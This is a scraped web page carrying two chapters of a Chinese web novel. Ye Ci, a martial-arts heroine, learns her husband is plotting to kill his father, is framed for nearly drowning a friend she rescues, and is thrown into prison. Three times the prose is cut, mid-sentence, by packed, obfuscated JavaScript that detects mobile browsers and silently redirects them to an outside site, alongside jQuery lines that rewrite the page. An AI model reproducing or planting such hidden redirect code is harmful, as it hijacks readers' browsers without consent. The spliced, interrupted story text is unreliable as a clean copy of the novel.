RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232424|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸自己的脖子,似乎在确认自己的脑袋还是不是连在脖子上,而他不知道的是,叶慈在威胁他时,刀刃其实一直是向内的。 “那娘子,你为什么要偷偷到我爹的书房里去?”赵明予状似天真地问。 叶慈脊背一僵,随口扯了个拙劣的慌:“我……我觊觎你家的武学秘籍,我觉得我功夫进境太慢了,怕别人耻笑……” 赵明予似懂非懂地点头:“那娘子,我以后每天早上再多练一会儿剑。” 叶慈哭笑不得地答道:“好。” 而此刻的两人还不知道,赵明予口中的“以后”,怕是不会再到来了。 赵明予并未撒谎,在二人离开后,赵渊果然从拐角处走过来,进了书房。 他身上穿着单衣,外衫被披在肩上,手中只持一烛台,身后并未有随从。 进了书房,他将烛台放在了书案上,那烛台中的白蜡很细,发出的光也微弱,被夜风一吹便摇摇晃晃的,行将就木了似的。 但赵渊并不在意,他借着烛光,静静地坐在椅子上,似乎在闭目养神,又似乎在思索着什么。 今日议事时,他并非不知道门外发出小动静的是谁,只是他实在想不通,为什么孟临要将那个便宜儿媳家着火的事情怪到自己头上。 他已经派人探查过了,那场火只是意外,虽然没找到那个山野樵夫的尸首,但这点小事,不值得让他徒增思虑。 只是如今看来,似乎还是要重新调查一下那个樵夫的身份毕竟稳妥。 赵渊思索片刻,忽然不知想到了什么,眼角眉梢似乎都带上了喜色。他左手轻车熟路地摸到抽屉最下层,取下其中的隔层,将一个雕刻精致的漆盒拿了出来。 他轻轻地抚摸了一下盒身,像在拂去盒上灰尘,又像在抚摸爱人身躯。 “当年,只有你看得起我,愿意嫁给我……”他喃喃道,仿佛在透过盒子跟什么人诉着衷肠。 “但为什么,为什么!那个阮流逸就那么好?”他的语气陡然变得疯狂起来,“若说剑法,我们明明师承同一人,若说出身,我不比他好上百倍,他到底哪里比我好?为什么你们都维护他?!” 他端着盒子的手指节泛白,少顷,才似乎回过神来一般,轻柔地抚了一下盒顶,仿佛在为自己方才的失态致歉。 “不过好在现在,柔儿,你只能看着我了。” “都是我的……只有我……” 他面上渐染疯狂之色,正欲将漆盒打开,动作却突然顿住,面上神色也变作狐疑。 这锁扣扣得不对。 漆盒盒上上打有两个锁眼,他锁盒子时,通常都会把盒盖上的挂钩勾到上面的锁眼上,而现在,挂钩被勾在了下面的锁眼中。 有人来过,还打开了这个盒子。 他瞬间怒火中烧,重重放下盒子,发出“咚”的一声重响,这才理智回笼,屈着手指在桌面上扣了两下,一道暗影便出现在书房外,那是武安侯的影卫。 “去,把仇嬷嬷给我叫来。” 21. 第二十一章 影卫敲响仇嬷嬷房门时,她正端坐在房中,并未更衣,似乎早料到今夜会有此行。 她随影卫来到了赵渊的书房,刚请完安,便听赵渊道:“仇嬷嬷,本侯今日便要治你管理不当之罪,你可要辩解?” 他声音无悲无喜,却仿佛平静的海浪下暗藏杀机。 仇嬷嬷直接跪了下去:“奴婢不知侯爷为何如此定罪。” 她双腿跪着,身子却挺得笔直。 赵渊仿佛看她不卑不亢的样子很不顺眼,不耐烦地眯了眯眼,又生生压下脾气,解释道:“今夜有人偷偷潜入了本侯的书房,虽未行盗窃之事,但此等卑劣行径,焉知是不是对我侯府居心叵测?若非你管教不力,我侯府内院,怎么会发生这种事?” 仇嬷嬷闻言立刻将头伏在地上:“侯爷明鉴,府中下人今夜当值的是否擅离职守,轮休的是否好生待在自己房内,身边定都有人做证,侯爷若要彻查,奴婢将他们全都叫起来,一一查过去,便能知道今夜行踪鬼祟之人是谁。” 她像是早就准备好了这套说辞,将话说得滴水不漏,还非常流利。 赵渊屈起手指扣着桌面,像是在思索。 他没有立刻大张旗鼓地查,而是私下里将仇嬷嬷叫来,便是不想将此事铺开摆在台面上正大光明地调查,毕竟这书房之中,秘辛众多,他也不想将事情闹得太大,伤敌一千,自损八百。 “那有没有,无法两两做证的?”他问。 仇嬷嬷略略一忖,再次伏在地上:“有,但是奴婢……不敢说。” “有什么不敢说的,说。”赵渊命令道,手指屈扣桌面的节奏蓦地加快,昭示着他即将耗尽的耐心。 “……世子和世子夫人自成亲后一直分睡两房,就寝后,丫鬟小厮守在外间,想来内间情况,不得而知。”她低着头答道。 赵渊手指敲击的动作倏地停了下来。 想来他和孟临在前厅争吵时说的话,叶慈应当是全听见了,但他没想到这乡野长大的儿媳,胆子竟这么大。 不过……他眸中神色再次变得阴狠,其实无论有没有这一出夜探书房,他侯府都再容不下叶慈。 “找个机会,将她解决了吧。”赵渊轻飘飘道,仿佛说的不是杀人,而是“晚饭吃什么”这种小事。 “是。”仇嬷嬷也果断答道,“若没别的事情,奴婢就先告退了。” “等等,咳咳咳……”赵渊叫住她,突然一阵咳嗽,待呼吸平稳后才继续说,“做得干净些,别让轼流发现了。” 仇嬷嬷嘴上应是,刚转身,脸上谦卑的神色便消失殆尽,只剩下嘴角讥讽的笑容—— 现在倒是想装这个好父亲了。 只可惜,已经太迟了。 仇嬷嬷离开书房,却并未回房,而是来到了侯府后门的院墙下,一道黑影立在那里,肩上沾了夜露,仿佛是早知道她会来,已经等了许久。 “为何不按计划行事。”仇嬷嬷冷冷道。 黑影正是赵明予的小厮单义,他没张嘴,抬手比划了几个手势。 仇嬷嬷见了,几乎怒不可遏:“心生怜悯?我看他不是真的爱上这个叶慈了吧?别以为我不知道他心里打的什么算盘,只要不按原计划让叶慈被赵渊在书房抓包,他就没有证据证明叶慈进过书房,也没办法直接将她关入府内私狱,便只能在暗中使手段害她,世子便有办法能保全她,对吧?” 单义眼中无悲无喜,没有丝毫波澜,对仇嬷嬷的说法不置可否。 “可他有没有想过,自己走的是怎样的一条路?” “杀父夺权,这样离经叛道、罔顾人伦的一个人,是注定不能爱上任何人,不能对任何人交付信赖的!他忘了公主当初是怎么死的了吗?” 仇嬷嬷的声音中带上了一丝凄厉的悲切,但单义仿佛是木头做的,没有感情一般只是立在那里。 “罢了。”她叹了口气,这也是她让单义成为赵明予贴身小厮的原因,“他如今长大了,事事都有了自己的想法,我说再多也没用,你回去吧,把我的话转告给他,让他自己好自为之。” 单义一腾身,飞鸟一般不见了踪影,只留下仇嬷嬷在原地,从远处看,竟有几分落寞,不像这深宅大院中铁面无情的掌事,反倒像个普通人家的老人。 另一边,叶慈盯着赵明予回房后,才摸黑回了自己的房间,房间的芳语和燕声已经睡熟了,完全没意识到今晚都发生了什么。 而叶慈自己,也对逐渐靠近的危险一无所知。 次日清晨,她起了个大早,与其说是起床,不若说是一夜未眠,她本想出府去,试着继续调查茅屋大火的线索,却被告知曾念薇一早来了府中,人家登门造访,叶慈不好推辞,只好去了。 “叶姐姐!”曾念薇一如既往地热情招呼。 叶慈见只有她一人,问道:“你怎么一个人来了?曾公子呢?” “今日一早便被叫回堂中了,似乎盟中有事商议。哎呀不管我哥了,叶姐姐,你昨日有东西落在了我这儿。”她双手背在身后,神神秘秘的。 叶慈仔细思索一番,实在想不起来自己落了什么东西:“我没丢东西啊?” “看!”曾念薇伸出背在身后的手,将手掌摊开,掌心赫然是一条红绳手链。 “这是?” 曾念薇笑嘻嘻地将手链系到叶慈手腕上,道:“叶姐姐不知道,在茌原灯会放灯许愿之后,要在手腕上系一条红绳,这样老天爷才能知道谁向他许了愿,谁没许,不然怎么保佑?” 叶慈笑:“那老天爷还挺讲究的。” “嘿嘿,那是!”曾念薇笑着,突然有些忸怩起来,“对了,叶姐姐,你房中可还有吃食……我不挑的,什么都行!” “自然有。”叶慈道,“怎么饿着肚子就来了?” “哎哟——还不是我哥!”曾念薇又拉着叶慈的袖子撒娇,“我家城里的府邸常年没人住,就留了个老管事,也没个厨子,我昨晚一时高兴,又不小心把银子花完了,我哥真是的,今天走那么急,也不知道给我留点钱……” 叶慈噗嗤一笑,捏了捏她的鼻子:“小馋猫自己花光了钱,怎么还要怪哥哥?走,姐姐带你去吃好吃的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243812|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶慈将曾念薇领到了后花园,此处离后厨更近,为她找了个歇脚的地方,便去后厨帮她找吃的去了。 武安侯向来有廉洁的名声,府中下人不多,因此叶慈在去后厨的一路上都没碰上什么人,也并没有觉得奇怪,只觉得现在不是用饭的时候,厨房中人少些也是正常的。 待她靠近时,隐约听到厨房中有人语声,那声音有些熟悉,勾起了她的好奇,她便凑近过去。 “……复仇的绊脚石。” “不会的……” 叶慈又凑近了些。 “你与赵渊注定做不成普通父子,你们之间隔着杀母之仇,你别忘了我们这些年的筹划,不就是为了取他性命吗?至于你和叶慈,你觉得,她要是知道了你对她的利用,还能与你做普通夫妻吗?别做梦了!” 叶慈听到“赵渊”、“取他性命”,心下一惊,又冷不丁听到了自己的名字,当下对二人的身份有了推测。 果然,另一道男声便说道:“嬷嬷,我只是不想连累无辜的人,何况是我明媒正娶的妻子!” “无辜的人?你当初娶她时为何不觉得她是无辜之人,你别忘了,将无辜之人引入局中,激化武安侯与孟临的矛盾,让他们内斗,这可是你提出的计划。” “当初是当初,现在是现在。” “别扯这些没用的,你故意外传侯府剑法时,便该知道,你亲近信任她,就已经走上了和你娘一样的路,为了大计,我便不能留她!还有那次,若非你替她探查那茅屋大火的情况,我们也不会险些暴露,导致现在还未查清真相,便要提前实施计划。况且,我总觉得她的招式有些熟悉,留着也是个后患……” “不能留她”这四个大字一出,叶慈的心重重沉到了谷底,而听到“后患”一词,她更是被其中决绝惊得后退半步。 “谁!”岂料房中人耳力如此灵敏,她吓了一跳,运起轻功便要逃跑,但来人动作实在太快,抬肘便扯住她的脚,将她重新拽回了地面,功力之深厚,全然不是她这点三脚猫功夫能比的。 赵明予也跟着出来,手中暗器已经蓄势待发,看清叶慈的脸后,却愣住了:“娘子……” 叶慈此时再听到这个称呼,只觉得毛骨悚然,她的生死都快被这二人算尽了,活生生的人,在他们眼中不过一枚用来实现自己的目的的棋子,如何能不怕。 不过此刻,她已经并不好奇自己在对方眼中究竟是妻子还是棋子,只想安然无恙地全身而退。 她讪讪道:“你……你不傻啊?放心,你肯定有你的筹划,我不会告诉别人的,我刚刚什么都没听到。” 赵明予却还试图装傻,挤出一个比哭还难看的笑容:“娘子,你在说什么呢?” 而此刻这笑容在叶慈眼中,再没有半分阳光,只让人觉得不寒而栗。 而仇嬷嬷却冷哼一声,一语道破二人的伪装:“她什么都听见了,决不能留!” 说着,便一掌击向叶慈。 “世子夫人吃错了东西,食材相性相克,今日毒发而亡!” “嬷嬷不要!” 22. 第二十二章 赵明予飞身上前,挡在了叶慈身前。 仇嬷嬷见状,连忙调转方向,掌风擦着叶慈脸侧,竟也刮得她生疼。 她心中后知后觉地生出了浓浓的恐惧。 这个仇嬷嬷是真想杀了她,不是开玩笑的…… 叶慈知道仇嬷嬷武功高强,自己完全不是她的对手,而现在再加上不知是敌是友的赵明予…… 二人方才的对话信息量颇大,但仅仅是赵明予准备弑父这一件事就足够让叶慈震惊了,再加上这人竟然一直在利用她…… 她如今再看这个挡在她面前的男人,心中从前的悸动荡然无存,取而代之的是无尽的失望与恐惧。 他用自己半生演了一场戏,甚至连亲生父亲都骗过了,又何况她?他现在可以挡在自己面前,或许下一秒便能做到刀剑相向。 至于他的武功深浅……叶慈猜不出,也不想猜,他从前那副惹人怜爱的模样大概只是为了激起她的保护欲,若真动手,自己又有几分胜算呢? 三十六计,走为上计! 她这样想着,立刻急急提气后退,一下便跃出几丈远,将自己的身影隐入了道旁树林。 仇嬷嬷见状,冷笑一声,见赵明予一副誓死不让的模样,也没再追,反倒向另一个方向跃去,道:“要办她,我有的是办法!” 赵明予看着仇嬷嬷离开的方向,身侧的手掌握紧又松开——那是去后花园的近路,方才单义来报,曾家小姐上门拜访,与叶慈去后花园玩耍,仇嬷嬷想必是想去后花园将叶慈截住。 那里人多眼杂,她定没办法直接下手杀了叶慈,相应的,自己若是赶过去,也会有暴露的风险,六年伪装将全数付之一炬。 他踌躇片刻,迈出的脚又收了回来,最终还是没有追过去。 能保住性命便好,至于其他的他会帮她想办法,一定会的…… 他这样想着,身形向后一晃,便消失了。 叶慈这厢运着轻功,几乎是用尽全身力气在逃命,她本以为仇嬷嬷会立刻追上来,却并没听见身后有什么响动,开始还以为是对方轻功太高,隐匿了身形,但她数次向后看去,确实连个鬼影都没看到。 难道是赵明予挡住了她? 这个念头刚冒出来,叶慈便在心中狠狠地给了自己一巴掌,她此时已完全明白了赵明予自私狡诈的心性,却还天真地对对方抱有期望,实在是不该。 她边跑,边盘算起了日后的事。 她自嫁进侯府后,便从没有一刻对这里产生过归属感,新婚那夜,她突然意识到,自己想要的是自由,若一辈子被困在这深宅之中,还不如在外面和那些讨债的周旋。 然而世事变化,让人难以预料,茅屋一场大火,扰乱了她的心思,也打乱了她的计划,而此刻她觉得,是时候重新将计划提上日程了。 仇嬷嬷在侯府中话语权甚大,有了这么一出,自己是万万不能再继续住在这里了,必须要想个办法逃出去。 至于怎么逃……她脑筋一转,想到了自己的新朋友曾家兄妹。 然而,思及此,她心下却突地一跳——曾念薇还在后花园,她孤身一人,又不会武功,仇嬷嬷若杀她不成,难保不会对这位手无缚鸡之力的曾家小姐不利! 若再把这罪责推到她身上,身边也没个作证的人,她岂不是有八百张嘴也说不清了! 她这样想着,原本稍稍放慢的脚步又快了起来,朝湖边的方向一跃而起,惊起一树鸟雀。 她虽想到了这一层,动作却还是慢了,叶慈赶到时,只见曾念薇还饶有兴趣地逗弄湖中鲤鱼,全然没看到身后一道不怀好意的身影正在靠近。 习武之人若想在普通人跟前隐匿脚步声,那是再容易不过的事情了,因此仇嬷嬷此刻甚至离她只有一臂远,曾念薇也没听到一丝一毫的动静,还在恍然未觉地对着小鲤鱼自言自语:“叶姐姐怎么还不回来啊……” “念薇!”叶慈大喊一声。 然而还是太迟了。 曾念薇应声看过来,刚要起身,身后便伸出一只手臂,将她向前一推! 她只觉得这人力气奇大,没给她一丝一毫反抗的机会,她失去平衡,身子一歪,便落入了湖中! 那湖水看着浅,实际足足有两个成年男子身高的深度,曾念薇不会水,脚又不着地,扑腾两下便呛了两大口水。 她穿着茌宁城时下最流行的布料,花纹繁复,裙子的形制上上下下不知道几层,甚是复杂。那一身布料本就不轻快,吸水后更是重得惊人,水鬼一般拉着曾念薇向下沉去。 “救……”她发出最后一声细若蚊吟的求救声后,便再没了声息,只剩下水面上接连冒出的泡泡,至少让叶慈能确定她还没死。 而仇嬷嬷冷眼站在湖边,没看命悬一线的曾念薇,反倒直直地盯着叶慈。 “你想做什么!”叶慈一时不敢靠近,却又实在担心湖中曾念薇的安危,只得大声质问道。 仇嬷嬷却将食指在嘴前一竖,仿佛在叫她噤声,她开口说道:“你喊这么大声,若是把人引过来,你谋害曾家小姐使她落水的事实就会传遍整个茌宁,到时候,即便世子想保你,他也无能为力!” 她声音不大,却字字清晰,那一字一句传到叶慈耳朵里,让她浑身冷得如坠冰窟。 仇嬷嬷这是在逼她做选择,是选择救人,还是冷眼旁观。 若是救人,仇嬷嬷势必会趁她施救时叫来巡逻武婢,将推曾念薇入水地罪名安在她头上;若是不救,或许她仍有机会破局,但那时这个将她称作“姐姐”、为她送来红绳、祈求她一生平安顺遂的少女,却不一定有活下去的机会了。 她与赵明予虽一同谋事,想来也有分歧,否则她直接把曾念薇打晕再杀了她就好了,不至于要费这些功夫,用这些手段。 不过眼下,他们的手段和目的都不是最重要的了,最重要的应当是如何救下曾念薇的性命。 理智告诉她,快想办法,肯定还有别的办法,让她既不至于背上莫须有的罪名,又能救下曾念薇的性命,但是看着湖面上曾念薇渐渐下沉的身躯,脑海中忽然浮现出小时候乔二曾经对她说过的一句话。 那时她年纪小,在山上泼猴一样在山上乱窜,乔二为了消磨消磨她的精力,便时不时从山下为她带些话本子上来。 碧渠村离茌宁城近,因此最盛行的不是什么才子佳人的故事,而是各种英雄侠客走南闯北见义勇为的奇闻轶事,正合了叶慈的胃口,使她看得津津有味,看多了,脑海中便不禁产生许多疑问。 那些疑问困扰她多时,她身边又每个说话的人,有一次终于逮到机会,瞅着乔二空闲,便拉住他,问:“二叔,大侠们真有那么厉害,凭一己之力,就能荡平天下不平事,救天下苦命人?” 那时乔二似乎是古怪地看了她一眼,问:“你从哪生出来的这些奇怪想法。” “看书看的。”年幼的叶慈理直气壮。 他那时看着她,又似乎在透过她看什么其他人,内心似乎天人交战,半晌才说:“一人之力,救不了天下人。” “那肯定是他功夫不够高!” “再高也救不了,天下第一也救不了。” 乔二冷漠的话语戳破了她心中对这个世界最初的美好幻想,叶慈幼小的心灵受到了巨大的创伤,“哇”的一声就哭了出来:声讨道:“那话本子里写的都是骗人的!这个世界不会好了!” 乔二听了失笑,也不知道鼻嘎大点的一个小孩心里哪来这么多的愤世嫉俗与杞人忧天,只好安慰道:“也不全是假的。” 叶慈又不哭了,瞪着泪眼朦胧的眼睛,巴巴地等着他的后半句。 那时他的回答是什么来着?叶慈后来其实一度记不清了。 但不知怎么的,此时此刻,乔二的声音却仿佛又回响在叶慈耳边,一字一句,惊雷一般振聋发聩。 他是这么说的:“若要救天下人,便先救眼前人。若救不了眼前人,便永远救不了天下人。” “若救不了眼前人,便永远救不了天下人。”叶慈跟着喃喃出声。 仇嬷嬷见她嘴唇微动,却听不清她说的话,皱了皱眉头,又问道:“别想着耍什么花招,这小丫头,你救是不救?” “救。”叶慈道。 她声音小,风一刮,便散在了风中,仇嬷嬷没听清,问:“你说什么?” “我说我要救!”叶慈语气坚定,振聋发聩。 说完,竟然也顾不得自己的安危,便纵身跃入了湖中! 她叶慈没有荡尽天下不平事的宏愿,也没想过要“救天下人”,可是现在,眼前这个人,她想救,她也必须要救! “快来人!曾小姐落水了!”在她跃入水中的同时,仇嬷嬷也出声大喊,瞬间,杂乱的脚步声响起,四周巡逻的武婢被喊声惊动,从各个小路赶来。 然而到了水下,她才忽然想起,自己长在山中,并不会水。 不过她并没有犹豫多久,不管三七二十一,先将曾念薇的手臂搭在了自己肩上,却没料到对方虽然已经失去了意识,但求生本能还在,感受到有处借力,便将全身的重量都压了上去,使自己能将头露出水面,得以呼吸。 叶慈数次被压入水面,呛了好几口水,但脑海中始终有一个念头支撑着她——要救下念薇,不能让她死。 就这样,几乎是托举着,将她拖上了岸。 然而,就在看着曾念薇平安上岸地一瞬间,叶慈却突然感觉自己小腿肚一抽,一阵刺痛袭来,骤然失去了力气。 夏日水寒,她竟然在这时候抽筋了! 她仍想自救,双手尽力划水,希望能离岸边近一点,再近一点,奈何身体却不听使唤,不过一会儿,她便几乎没了挣扎的力气。 仇嬷嬷本想着,叶慈若敢下水救人,定是会水,才敢如此行动,却没想到她竟然胆子这么大,不会水也敢下水救人,顿时明白自己失算了,其实此刻若无人在场,让叶慈自己淹死才是最好的选择。 奈何方才被她惊动的巡逻武婢已然离此处很近了,她此刻再想行动,也已经来不及了。 然而武婢们还没赶到,一道明黄色的身影先风一般赶到了,那是赵明予,他眼见叶慈溺水,什么复仇大计全部被抛之脑后,满心满眼只有一个念头——她不能死。 那是她的妻子,她不能死。 于是他没有丝毫犹豫地跃入湖中。 “世子!”仇嬷嬷大喊,恨铁不成钢一般瞪了那湖中的身影一眼。 叶慈只觉得自己几乎要丧失知觉了,湖水从四面八方涌过来,淹没了她,肺里的空气所剩无几,她觉得自己大概要交代在这了。 十七年人生中经历过的事走马灯一般在眼前放映着,十二岁前在另一个世界的记忆已然模糊不清,而后与乔二相依为命一年,一年后于林中捡到祁涟,从此三人一直在打打闹闹中消磨时光。 直到那个上午,那人穿着一身耀眼的金色,就这样不讲道理地闯进了她的生活,为她带来了生命中最大的不幸与幸运。 他夺走了她的自由,却也允她习武,给了她另一种自由。 叶慈这样想着,仿佛又看见那道熟悉的金色出现在眼前,透过粼粼波光,正离她越来越近。 在她彻底脱力闭上眼的下一秒,一抹温热贴上她的唇。 那双唇霸道地撬开她紧锁的齿贝,惩罚性地咬了一下她的下唇,似乎是在质问她为何临到濒死之际,还卸不下重重心防,将他拒之门外。 他为叶慈渡了一口气,让她的神智恢复了片刻的清明,身体也回光返照般有了些力气,便不容拒绝地揽着她的腰,将她往水面上带去。 叶慈的头甫一伸出水面,便条件反射地大口呼吸起来,但因为鼻腔中还有水,便又被呛得剧烈咳嗽起来。 赵明予将她带上了岸,见她咳得厉害,便半蹲在她身边,用手轻轻拍着她的后背,叶慈勉强睁开眼睛,看清身边人的脸后,惊得向后仰去,因着背后没有支撑物,险些又栽倒在地上。 赵明予眼疾手快地扶住她的肩膀,觉得眼前人如同受惊小鹿一般十分可爱,下意识勾了勾嘴角,待反应过来她为什么害怕,笑容又僵在脸上。他感受到怀中人僵硬的肌肉,在心底深深叹了口气。 “罢了。”他说着,兀自站了起来,看表情,似乎有些生气。 他在气什么? 叶慈有些不明所以,该生气的是她吧? 武婢们已经赶到了,看着世子和世子夫人落水的落水,救人的救人,一时间都有些不知所措起来。 还是仇嬷嬷先发了话:“我亲眼看到世子夫人将曾家小姐推入了湖中,你们几个,将曾小姐送去看大夫,你们几个,把世子夫人抓起来,送去前厅,交侯爷审问!” 叶慈听了,并不意外,她决定下水救曾念薇时,便想到了这个结果。 至于赵渊会如何处置她……她想到那晚在前厅门外听到的话,觉得自己的未来实在是凶多吉少。 而侯府中守卫森严,她此刻无武器傍身,赤手空拳的,恐怕连个侍卫也打不过,更遑论逃跑了,更何况她方才险些溺水,这会儿几乎连站起来的力气都没有了。 几个武婢几乎是将她拖着,押到了武安侯的书房。 赵渊正在书房里批复信件,眼见叶慈被押上来,也没露出丝毫意外的神色,只是看她浑身湿淋淋的,不悦地皱了皱眉。 “这是怎么了?”他沉声道,声音中全是上位者的威压。 武婢压着叶慈的肩膀让她跪了下去,仇嬷嬷上前道:“禀侯爷,此女善妒,因世子与曾家小姐闲谈打闹,竟然怒下毒手,将曾小姐推入湖中,害得曾小姐现在还生死未明!” 赵渊抬了抬眼皮,似乎很漫不经心:“那怎么自己也弄湿了?” “禀侯爷,是曾小姐落水后挣扎间将世子夫人一并拉入了湖中,幸好世子宅心仁厚,不忍见这毒妇白白丧命,才亲自下水,将她救了上来。”仇嬷嬷说。 赵渊看向同样落汤鸡一般的赵明予,问:“轼流,仇嬷嬷说的可属实?” 叶慈始终低着头,她知道其实自己的命运早已注定了,即便辩解了也是做无用功,还不如省着力气,想想以后该怎么保命。 然而,当赵渊向赵明予询问真相时,她心中还是升起一丝不切实际的幻想。 他会替她说话吗? 赵明予一时沉默,叶慈心中的这种幻想便愈演愈烈,她抬头,向赵明予投去一个含着希冀的目光。 他正好也在看她,两人目光相接,叶慈看到赵明予的瞳孔忽地震了一震,仿佛被她的目光蛰了一下似的,立刻看向了别处。 “父亲,”叶慈见他终于开了口,一颗心也缓缓地沉了下去。 赵明予的语速很快,好像若再不说话,有什么东西就要动摇了:“仇嬷嬷说的,都属实。” 叶慈彻底闭上了眼睛。 一层无形的屏障在两人之间升起,泾渭分明地将他们分开。叶慈知道,从今以后,她都不会再对这个男人交付半分信任了。 “父亲,”赵明予忽然单膝跪下,“没想到娘子心肠竟然这么歹毒,害得念薇差点连命都没了,幸好仇嬷嬷及时赶到,不然我都不知道以后该怎么面对安礼哥了!” “此女歹毒,确实该严惩。咳咳咳……”赵渊道,说完,突然掩袖咳嗽了几声。 赵明予听了,狠狠地点了点头:“我觉得,就应该把她打入茌宁衙门的地牢!听说那里关的都是最穷凶极恶的罪犯,每日都要受最苦最疼的刑罚,就应该把她关到那里面,每天受刑,永生永世都别再出来害人了,自生自灭才好!” 叶慈听了,只觉得好笑。 如今众目睽睽之下,这位以仁爱宽和闻名的武安侯为了维护自己的名声,自然无法动用私刑,若将她下侯府私狱,也免不了会招来口舌。 她虽名义上是赵明予明媒正娶地世子夫人,但身世与赵明予还有曾念薇这种世家小姐差距悬殊,在旁人眼里,说到底不过贱命一条,赵明予提出将她押到衙门大牢,是既省了赵渊开口,又将点子说到了他心坎里。 她在心里冷笑一声,想起在后厨时听到的赵明予与仇嬷嬷的对话,虽不知原委,但这对父子,儿子想杀老子,老子又一肚子坏水,似乎还曾害死了自己的结发妻子,又在妻子死后装出一副假惺惺的深情模样,沽名钓誉,虚伪至极。 还真是“父慈子孝”。 果然,赵渊的手指在桌案上敲了两下,仿佛在思考,不过片刻便敲定主意:“好,那便就这么办吧。” “是。”仇嬷嬷答道。 “押下去吧。”赵渊抬抬下巴,示意押着叶慈的武婢,那些人便几乎像拖一条狗一般,将叶慈拖走了。 见人已被押走,赵渊嘴上又挂起和善的笑容,对赵明予道:“轼流,你看你,为了救有罪之人,把自己弄得这么狼狈,快去把衣服换了,再跟厨房要碗姜汤喝,别着凉了。” 赵明予回以笑容:“知道了,父亲。我见父亲今日似有咳疾,也要多注意身体。” 赵渊慈爱地冲他笑笑,自然是满口答应。 “父亲,那我便先告退了。”赵明予说罢,也离开了书房。 “那奴婢也告退了。”仇嬷嬷行过礼后,屈身告退。 “等等,”赵渊却叫住了她,他看着地板上的水渍,似有些漫不经心地道:“以后别弄这么复杂,演场戏罢了,地都湿了。” 仇嬷嬷深深地躬身,将自己面上的神色藏得滴水不漏,声音中也没有丝毫波澜,只是道:“是,奴婢明白。” —— 权势这东西,甚至可怕。 拥有时,便如拥有利器,可以随意杀人、伤人;失去时,便如目下之尘,人人皆可欺压。 叶慈被剥去一身世子夫人的锦绣皮,又换上一身褴褛囚服,投入了大牢。 不知武安侯亦或赵明予是否与茌宁府衙交代过什么,又或者府衙中人顾及着她毕竟还是武安侯世子夫人,并没有如赵明予口中那般恐怖,对她施加酷刑,却也并没有特殊对待她,只是将她押入了一间普通牢房。 虽正值夏日,牢房中依然阴暗潮湿,除了供一人进出的铁门之外,三面皆是围墙,围墙上有陈年血迹,还有不知哪来的抓痕,让人看着心惊。 叶慈内心却毫无波动,她径直走到牢房角落茅草堆最厚的位置坐了下去。 那狱卒看她动作,颇为意外,道:“哟,还以为是个娇小姐,没想到竟然这般不讲究。” 叶慈懒得搭理她,兀自打坐恢复气力。 到了放饭的时间,她也不嫌弃地牢中的饭与猪食无异,虽然有些难以下咽,也还是一口一口吃了个精光。 与寻常犯人不同,叶慈没有刚进来就求爷爷告奶奶地请狱卒大哥们跑关系,以期望早日出去,她反倒是把地牢当成了自己家一般,该吃吃该睡睡,颇为泰然自若。 地牢中每个隔间墙上都在高处有一扇铁床,能透些光进来,叶慈与往常作息一致,待月光透过铁窗洒在了稻草上,叶慈便躺上去,地牢中犯人的呻|吟声、狱卒喝酒赌钱的声音还有各种怒骂声、叫喊声,她都仿佛听不见一般,连续两日连轴转让她几乎耗尽了体力,不一会儿,呼吸就平稳了。 两个巡逻的狱卒路过,其中一个见状问道:“这是今天刚来的?第一天就适应了,还真少见啊。” 另一个立刻接道:“是啊,听说还是侯府出来的,好像是世子夫人。” “世子夫人能沦落到咱这来?我不信。” “我也不清楚,听说而已,走吧走吧,去别处看看……” 二人说着走远了,他们,还有熟睡中的叶慈,都没有听到,叶慈隔壁的牢房中的男人听到这番对话后,翻了个身,发出了一声轻笑。 那人也身穿囚服,身形看着高大,两鬓略有白发。他看着似乎是三四十岁的样子,眼角已经冒出了细纹,却不掩其清俊。此刻不知道已经在牢里待了多久了,胡子拉碴的,头发却仍整齐地束着。 他感慨般地叹了口气,立刻被狱卒制止:“发什么怪声,要睡觉就老实睡!” 他不以为意,大剌剌地躺在茅草上伸了个懒腰:“有意思咯!” 说罢,也不理狱卒的骂声,兀自睡着了。 次日,天光刚亮,叶慈便醒了。 她起身,活动了一下因为在茅草堆上躺了夜而变得僵硬的身体,只觉得周身发冷,突然鼻子一痒,重重打了个喷嚏。 她这才反应过来,摸了摸额头,是一片滚烫。 也难怪,虽然是夏日,但她前天一夜未眠,本就劳累,第二天又落了水,衣服头发都没干,就被押来了地牢,不生病反倒才应该奇怪。 叶慈清了清略有些沙哑的嗓子,叫道:“有人吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263883|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?咳咳……狱卒大哥?” “大清早的,什么事!”一名狱卒睡眼惺忪地走过来,昨晚上他们赌了个通宵,他运气不好,不仅输了好些钱,还不得不来值早班,自然是没什么好气。 “我有些发热,能请个郎中来看看吗?”叶慈试探着问道。 那人上下打量她,末了冲她伸出手,搓了搓拇指和食指。 “这……我没钱。”叶慈为难道。 “没钱让亲戚送进来点啊,懂不懂规矩?”狱卒没好气地说道。 “我……在茌宁没有亲戚。”叶慈道。 